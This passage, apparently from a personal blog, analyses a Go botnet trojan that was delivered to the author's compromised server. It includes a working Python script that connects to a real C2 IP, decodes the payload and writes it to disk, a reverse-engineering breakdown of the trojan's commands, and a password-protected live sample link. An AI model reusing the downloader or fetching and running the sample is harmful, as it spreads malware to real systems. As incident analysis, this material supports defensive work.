to the server based on the loader's logic and attempt to download the Payload into an ELF file: import socket import time import os C2_HOST = "119.45.243.154" C2_PORT = 8443 OUTPUT_FILE = "payload.elf" def xor_decode(data): return bytes([b ^ 0x99 for b in data]) def main(): # Delete old file if os.path.exists(OUTPUT_FILE): os.remove(OUTPUT_FILE) while True: try: print(f"[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((C2_HOST, C2_PORT)) print("[+] Connected.") # Handshake s.send(b"l64 ") s.send(b"\x20\xfb") # fake port s.send(b"119.45.243.154".ljust(32, b"\x00")) print("[+] Handshake sent.") print(f"[+] Writing decrypted ELF data to {OUTPUT_FILE}\n") with open(OUTPUT_FILE, "ab") as f: while True: data = s.recv(4096) if not data: print("[-] C2 closed connection.") break decrypted = xor_decode(data) f.write(decrypted) print(f"[+] Received {len(data)} bytes, written to file.") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) except Exception as e: print(f"[-] Error: {e}") print("[*] Reconnecting in 10 seconds...\n") time.sleep(10) if __name__ == "__main__": main() Running it yielded an ELF file, payload.elf. Payload.elf First, I uploaded it to Weibu Cloud Sandbox for detection, which confirmed it was a Trojan: However, the sandbox didn't detect highly dangerous behaviors. I consulted a senior in reverse engineering, who analyzed the sample and determined it was written in Go. I used GoReSym to export the symbol table and loaded it into IDA Pro: \GoReSym.exe payload.elf > symbols.json I had an AI write an IDA Pro script to import the symbol table: import json import idc import idaapi import idautils # ⚠️ Modify this: Path to your generated symbols.json file json_path = r"D:\\Desktop\\symbols.json" def restore_symbols(): print("[-] Loading symbols from JSON...") try: with open(json_path, 'r', encoding='utf-8') as f: data = json.load(f) except Exception as e: print(f"[!] Error opening file: {e}") return # 1. Restore User Functions count = 0 for func in data.get('UserFunctions', []): start_addr = func['Start'] full_name = func['FullName'] # Clean up characters IDA doesn't like safe_name = full_name.replace("(", "_").replace(")", "_").replace("*", "ptr_").replace("/", "_") # Attempt to rename if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1: # Optionally, if renaming succeeds, try to re-analyze as code idc.create_insn(start_addr) idc.add_func(start_addr) count += 1 print(f"[+] Successfully renamed {count} functions.") if __name__ == "__main__": restore_symbols() In IDA, I used File -> Script file to run the script and import the symbol table. Simultaneously, I provided the symbol table to an AI for analysis, which identified functions related to OSS bucket operations: (*Config).GetAccessKeyID / GetAccessKeySecret / GetSecurityToken -> Steals or uses cloud credentials. Bucket.PutObjectFromFile -> Uploads files (very likely exfiltrating data from your server to the attacker's OSS Bucket). Bucket.DoPutObject -> Executes the upload operation. (*Config).LimitUploadSpeed / LimitDownloadSpeed -> Limits bandwidth usage to avoid detection of abnormal network activity. Obfuscated Package Name Real Package / Functional Guess Evidence (Artifacts) Behavior Description ojQuzc_T Aliyun OSS SDK PutObjectFromFile, GetAccessKeySecret Connects to Aliyun OSS, uploads/downloads files, steals credentials. l2FdnE6 os/exec (Command Execution) (*Ps1Jpr8w8).Start, StdinPipe, Output Executes system commands. It calls Linux shell commands. qzjJr5PCHfoj os / Filesystem Operations Readdir, Chown, Truncate, SyscallConn Traverses directories, modifies file permissions, reads/writes files. PqV1YDIP godbus/dbus (D-Bus) (*Conn).BusObject, (*Conn).Eavesdrop Connects to Linux D-Bus. Possibly for privilege escalation, monitoring system events, or interacting with systemd. c376cVel0vv math/rand NormFloat64, Shuffle, Int63 Generates random numbers. Often used for generating communication keys or randomness in mining algorithms. r_zJbsaQ net (Low-level Networking) DialContext, Listen, Accept, SetKeepAlive Establishes TCP/UDP connections, possibly for C2 communication or as a backdoor listening on a port. J9ItGl7U net/http2 http2ErrCode, WriteHeaders, WriteData Uses HTTP/2 protocol for communication (likely to hide C2 traffic). Otkxde ECC Cryptography Library ScalarMult, Double, SetGenerator Elliptic curve encryption. Possibly for encrypting C2 communication or as an encryption module for ransomware. We can infer some possible program logic: Persistence & Control (D-Bus & Net): It attempts to connect via D-Bus using the PqV1YDIP package, which is less common in server malware. It might be trying to hijack system services or monitor administrator activity. It listens on ports or establishes reverse connections via r_zJbsaQ. Data Exfiltration (Aliyun OSS): It doesn't send data back to a typical C2 server IP but uses Aliyun OSS as a "transit point." This is a clever tactic because traffic to Aliyun is often considered whitelisted by firewalls and harder to detect. Command Execution (os/exec): It has full shell execution capabilities (l2FdnE6), allowing it to execute arbitrary commands, download scripts, and modify file permissions. Possible Ransomware or Cryptominer Features: Numerous mathematical operation libraries (Otkxde, HfBi9x4DOLl, etc., contain many Mul, Add, Square, Invert) suggest it is computationally intensive. If it's ransomware: These math libraries are used to generate keys for encrypting files. If it's a cryptocurrency miner: These libraries are used to calculate hashes. Combined with its use of Shuffle and NormFloat64 from math/rand, this aligns with features of some mining algorithms (like RandomX). Further analysis led to a function named UXTgUQ_stlzy_RraJUM: I had an AI analyze it and the conclusion was: This is a very typical C2 (Command & Control) instruction dispatcher function written in Golang. Combined with the context of the "Linux loader" mentioned earlier, this function belongs to the core Trojan (Bot) that was downloaded and executed by that loader. 1. Overview and Location Function: Instruction Dispatcher (Command Dispatcher). This is part of the main loop logic of the Trojan, responsible for receiving command strings from the C2 server, parsing them, and executing corresponding malicious functions. Security Mechanism: The function begins with an authentication check if ( v18 == a2 && (unsigned __int8)sub_4035C0() ). If validation fails, it returns "401 Not Auth", indicating that this Trojan has some anti-scanning or session authentication mechanisms. 2. Detailed Reverse Engineering of the Instruction Set The code uses switch ( a4 ) to determine the length of the command string and then checks its specific content. There are numerous hardcoded strings and Hex values here: Case 1 (Single-character commands - Basic Control) These are likely remnants of an early version or shorthand commands designed to reduce traffic: I: Calls os_rename. Function: Renames a file. E: Calls os_removeAll. Function: Deletes files/cleans traces. J: Returns "0" or unknown. Possibly used for heartbeat detection or status queries. Z: Returns "mysql_close\t1". Function: Database-related. It's inferred that this Trojan includes a MySQL brute-force or connection module, and this command closes the connection. H: Possibly gets host information (Host Info). Other single letters (A-Y): Call different sub-functions (like sub_7CAF40), typically corresponding to: enabling proxies, executing shell commands, obtaining system load, etc. Case 4 (Four-character commands) Hex: 1414092869 -> Little Endian: 0x54495845 -> "EXIT" Function: Terminates the Trojan process. Case 8 (Eight-character commands - Core Functions) This is the most critical part, exposing the Trojan's core capabilities: Download Hex: 0x64616F6C6E776F44LL -> "Download" Function: Downloader functionality. Downloads files from a specified URL. Code Logic: If a11 (callback function or interface) exists, it calls it to process the download result. LocalRun Hex: 0x6E75526C61636F4CLL -> "LocalRun" Function: Local execution. Likely executes a local shell script or binary file. Case 9 (Nine-character commands - Advanced Attacks) InjectRun Hex: 0x75527463656A6E49LL + 'n' -> "InjectRun" Function: Memory injection execution. This is an advanced feature, used in conjunction with memfd_create seen earlier. It typically refers to injecting a payload into another process or running it directly in memory without touching the disk. PluginRun Hex: 0x75526E6967756C50LL + 'n' -> "PluginRun" Function: Plugin execution. This indicates that the Trojan is modular and can dynamically load .so or Go plugin modules to extend functionality (such as cryptocurrency mining, DDoS attacks, port scanning, etc.). 3. Response Construction Logic After the switch block, there is a complex string concatenation logic: *(_WORD *)v71 = 15917 -> ASCII for | and }? Or specific delimiters. *(_BYTE *)(v80 + v79 + 2) = 45 -> ASCII for -. Conclusion: The Trojan wraps the command execution result (like "OK", "Error", or specific data) with specific delimiters (e.g., |<result>-) before sending it back to the C2. 4. Summary and Profile Combined with the previous code (the Loader), we can create a complete profile for this Trojan: Family Speculation: This naming style (InjectRun / PluginRun / LocalRun), combined with being written in Go and supporting modular plugins, strongly resembles the Spark botnet or a variant (like a modified version of the Sliver C2, but it's more akin to a custom-built blackhat bot). It could also be a variant of the Sysrv-hello mining worm (which often mixes Go and exploits). Attack Chain: Loader: The earlier C code, responsible for environment detection, persistence, and downloading the Bot in memory. Bot (this code): This Go program, resident in memory. Modules: Dynamically delivers mining modules (like XMRig) or DDoS attack modules via PluginRun. Lateral Movement: The mysql_close hint suggests it has password-scanning capabilities and infects other machines on the internal network via InjectRun. Conclusion Honestly, I felt there wasn't much more meaningful analysis to be done. The logic essentially confirms it's a typical Botnet. The discovered IP has a 99% probability of being a compromised zombie machine, so investigating it seems pointless. The main takeaway is to summarize lessons learned on preventing such incidents. For small-scale personal websites like mine, when a CVE is disclosed, it's best to immediately disable all related services. Wait for a confirmed patched version to be released, then update and re-enable the services. Sample Download: Payload.zip Note: This sample is unprocessed. Do not run it directly without proper security measures! Password: 20251206